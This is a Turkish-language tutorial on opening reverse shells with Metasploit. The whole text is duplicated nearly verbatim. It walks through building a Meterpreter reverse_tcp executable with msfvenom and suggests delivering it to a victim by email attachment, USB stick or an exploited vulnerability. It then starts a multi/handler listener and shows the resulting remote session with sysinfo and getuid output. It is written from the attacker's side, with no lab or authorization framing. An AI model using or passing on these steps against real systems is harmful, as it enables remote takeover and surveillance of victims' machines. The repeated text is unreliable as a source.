Tersine kanal açma yöntemleri, hedef sistemin saldırganın kontrol ettiği bir sisteme bağlanmasını sağlayan bir tür kabuk yöntemleridir. Bu yöntemler, hedef sistemin arkasında bir güvenlik duvarı veya NAT gibi bir engel olması durumunda veya hedef sistemin gelen bağlantıları engellemesi durumunda kullanışlıdır. Tersine kanal açma yöntemleri, saldırganın bir dinleyici (listener) programı çalıştırarak hedef sistemin bağlanacağı bir IP adresi ve port numarası belirlemesini gerektirir. Hedef sistemde çalıştırılan bir yük (payload), saldırganın belirlediği IP adresine ve porta bağlanarak bir kabuk (shell) oturumu başlatır. Bu kabuk, saldırganın hedef sistemi uzaktan kontrol etmesini sağlar.
Metasploit, tersine kanal açma yöntemleri için çeşitli yükler sunar. Bu yükler, farklı protokoller (TCP, HTTP, HTTPS, DNS, ICMP vb.) ve farklı platformlar (Windows, Linux, Java, PHP vb.) için tasarlanmıştır. Bu yüklerin bazıları, saldırganın hedef sisteme daha fazla işlevsellik sağlayan Meterpreter adlı bir kabuk sunar. Meterpreter, saldırganın hedef sistemin dosya sistemi, kayıt defteri, işlemler, ağ, ekran, kamera, mikrofon, klavye, fare vb. ile etkileşim kurmasını sağlar. Ayrıca, saldırganın hedef sisteme daha fazla yük enjekte etmesine veya hedef sistemin diğer sistemlere saldırmasına da olanak tanır.
Tersine kanal açma yöntemleri kullanmak için, saldırganın öncelikle bir yük oluşturması gerekir. Bu yük, hedef sistemin bağlanacağı IP adresi ve port numarası gibi bazı seçenekleri içerir. Bu seçenekler, msfvenom gibi bir araç kullanılarak veya Metasploit konsolunda set komutu kullanılarak ayarlanabilir. Yük oluşturulduktan sonra, saldırganın bunu hedef sisteme ulaştırması gerekir. Bu, bir web sunucusuna yüklemek, bir e-posta eki olarak göndermek, bir USB bellek ile taşımak, bir zafiyet kullanarak enjekte etmek vb. gibi çeşitli yollarla yapılabilir. Yük, hedef sistemde çalıştırıldığında, saldırganın belirlediği IP adresine ve porta bağlanır.
Saldırganın ayrıca, hedef sistemden gelen bağlantıları kabul etmek için bir dinleyici programı çalıştırması gerekir. Bu, Metasploit konsolunda exploit -j -z komutu kullanılarak veya msfconsole -x \"use exploit/multi/handler; set PAYLOAD <payload>; set LHOST <lhost>; set LPORT <lport>; exploit -j -z\" gibi bir komut satırı kullanılarak yapılabilir. Burada, <payload> saldırganın kullandığı yükün adı, <lhost> saldırganın IP adresi ve <lport> saldırganın port numarasıdır. Dinleyici çalıştırıldığında, hedef sistemden gelen bağlantıları bekler. Bir bağlantı geldiğinde, saldırganın kabuk oturumunu görüntülemesi ve etkileşim kurması için sessions komutunu kullanması gerekir.
Örneğin, Windows 10 çalıştıran bir hedef sistemde windows/meterpreter/reverse_tcp yükünü kullanarak tersine kanal açma yöntemi uygulamak için aşağıdaki adımları izleyebilirsiniz:
1. Adım: Saldırganın sisteminde msfvenom aracını kullanarak bir yürütülebilir yük oluşturun. Bu yük, hedef sistemin saldırganın IP adresine (192.168.1.10) ve port numarasına (4444) bağlanmasını sağlayacaktır.
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=4444 -f exe -o shell.exe
2. Adım: Oluşturulan yürütülebilir yükü (shell.exe) hedef sisteme ulaştırın. Bu, bir web sunucusuna yükleyerek, bir e-posta eki olarak göndererek, bir USB bellek ile taşıyarak, bir zafiyet kullanarak enjekte ederek vb. yapılabilir.
3. Adım: Saldırganın sisteminde Metasploit konsolunu açın ve exploit/multi/handler modülünü kullanarak bir dinleyici çalıştırın. Bu dinleyici, hedef sistemden gelen bağlantıları kabul edecek ve saldırgana bir Meterpreter kabuğu sağlayacaktır.
msfconsole
msf6 > use exploit/multi/handler
msf6 exploit(multi/handler) > set PAYLOAD windows/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set LHOST 192.168.1.10
msf6 exploit(multi/handler) > set LPORT 4444
msf6 exploit(multi/handler) > exploit -j -z
4. Adım: Hedef sistemde yürütülebilir yükü (shell.exe) çalıştırın. Bu, hedef sistemin saldırganın IP adresine ve port numarasına bağlanmasını sağlayacaktır.
5. Adım: Saldırganın sisteminde Metasploit konsolunda sessions komutunu kullanarak kabuk oturumunu görüntüleyin ve etkileşim kurun. Bu, saldırganın hedef sistemi uzaktan kontrol etmesini sağlayacaktır.
msf6 exploit(multi/handler) > sessions
Active sessions
===============
Id Name Type Information Connection
-- ---- ---- ----------- ----------
1 meterpreter x86/windows DESKTOP-123456\user @ DESKTOP-123456 192.168.1.10:4444 -> 192.168.1.20:49158 (192.168.1.20)
msf6 exploit(multi/handler) > sessions -i 1
[*] Starting interaction with 1...
meterpreter > sysinfo
Computer : DESKTOP-123456
OS : Windows 10 (10.0 Build 19042).
Architecture : x64
System Language : tr_TR
Domain : WORKGROUP
Logged On Users : 2
Meterpreter : x86/windows
meterpreter > getuid
Server username: DESKTOP-123456\user
meterpreter >
Bu şekilde, tersine kanal açma yöntemleri kullanarak hedef sistem üzerinde shell alabilir ve uzaktan kontrol edebilirsiniz.
Metasploit, tersine kanal açma yöntemleri için çeşitli yükler sunar. Bu yükler, farklı protokoller (TCP, HTTP, HTTPS, DNS, ICMP vb.) ve farklı platformlar (Windows, Linux, Java, PHP vb.) için tasarlanmıştır. Bu yüklerin bazıları, saldırganın hedef sisteme daha fazla işlevsellik sağlayan Meterpreter adlı bir kabuk sunar. Meterpreter, saldırganın hedef sistemin dosya sistemi, kayıt defteri, işlemler, ağ, ekran, kamera, mikrofon, klavye, fare vb. ile etkileşim kurmasını sağlar. Ayrıca, saldırganın hedef sisteme daha fazla yük enjekte etmesine veya hedef sistemin diğer sistemlere saldırmasına da olanak tanır.
Tersine kanal açma yöntemleri kullanmak için, saldırganın öncelikle bir yük oluşturması gerekir. Bu yük, hedef sistemin bağlanacağı IP adresi ve port numarası gibi bazı seçenekleri içerir. Bu seçenekler, msfvenom gibi bir araç kullanılarak veya Metasploit konsolunda set komutu kullanılarak ayarlanabilir. Yük oluşturulduktan sonra, saldırganın bunu hedef sisteme ulaştırması gerekir. Bu, bir web sunucusuna yüklemek, bir e-posta eki olarak göndermek, bir USB bellek ile taşımak, bir zafiyet kullanarak enjekte etmek vb. gibi çeşitli yollarla yapılabilir. Yük, hedef sistemde çalıştırıldığında, saldırganın belirlediği IP adresine ve porta bağlanır.
Saldırganın ayrıca, hedef sistemden gelen bağlantıları kabul etmek için bir dinleyici programı çalıştırması gerekir. Bu, Metasploit konsolunda exploit -j -z komutu kullanılarak veya msfconsole -x \"use exploit/multi/handler; set PAYLOAD <payload>; set LHOST <lhost>; set LPORT <lport>; exploit -j -z\" gibi bir komut satırı kullanılarak yapılabilir. Burada, <payload> saldırganın kullandığı yükün adı, <lhost> saldırganın IP adresi ve <lport> saldırganın port numarasıdır. Dinleyici çalıştırıldığında, hedef sistemden gelen bağlantıları bekler. Bir bağlantı geldiğinde, saldırganın kabuk oturumunu görüntülemesi ve etkileşim kurması için sessions komutunu kullanması gerekir.
Örneğin, Windows 10 çalıştıran bir hedef sistemde windows/meterpreter/reverse_tcp yükünü kullanarak tersine kanal açma yöntemi uygulamak için aşağıdaki adımları izleyebilirsiniz:
1. Adım: Saldırganın sisteminde msfvenom aracını kullanarak bir yürütülebilir yük oluşturun. Bu yük, hedef sistemin saldırganın IP adresine (192.168.1.10) ve port numarasına (4444) bağlanmasını sağlayacaktır.
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=4444 -f exe -o shell.exe
2. Adım: Oluşturulan yürütülebilir yükü (shell.exe) hedef sisteme ulaştırın. Bu, bir web sunucusuna yükleyerek, bir e-posta eki olarak göndererek, bir USB bellek ile taşıyarak, bir zafiyet kullanarak enjekte ederek vb. yapılabilir.
3. Adım: Saldırganın sisteminde Metasploit konsolunu açın ve exploit/multi/handler modülünü kullanarak bir dinleyici çalıştırın. Bu dinleyici, hedef sistemden gelen bağlantıları kabul edecek ve saldırgana bir Meterpreter kabuğu sağlayacaktır.
msfconsole
msf6 > use exploit/multi/handler
msf6 exploit(multi/handler) > set PAYLOAD windows/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set LHOST 192.168.1.10
msf6 exploit(multi/handler) > set LPORT 4444
msf6 exploit(multi/handler) > exploit -j -z
4. Adım: Hedef sistemde yürütülebilir yükü (shell.exe) çalıştırın. Bu, hedef sistemin saldırganın IP adresine ve port numarasına bağlanmasını sağlayacaktır.
5. Adım: Saldırganın sisteminde Metasploit konsolunda sessions komutunu kullanarak kabuk oturumunu görüntüleyin ve etkileşim kurun. Bu, saldırganın hedef sistemi uzaktan kontrol etmesini sağlayacaktır.
msf6 exploit(multi/handler) > sessions
Active sessions
===============
Id Name Type Information Connection
-- ---- ---- ----------- ----------
1 meterpreter x86/windows DESKTOP-123456\user @ DESKTOP-123456 192.168.1.10:4444 -> 192.168.1.20:49158 (192.168.1.20)
msf6 exploit(multi/handler) > sessions -i 1
[*] Starting interaction with 1...
meterpreter > sysinfo
Computer : DESKTOP-123456
OS : Windows 10 (10.0 Build 19042).
Architecture : x64
System Language : tr_TR
Domain : WORKGROUP
Logged On Users : 2
Meterpreter : x86/windows
meterpreter > getuid
Server username: DESKTOP-123456\user
meterpreter >
Bu şekilde, tersine kanal açma yöntemleri kullanarak hedef sistem üzerinde shell alabilir ve uzaktan kontrol edebilirsiniz.

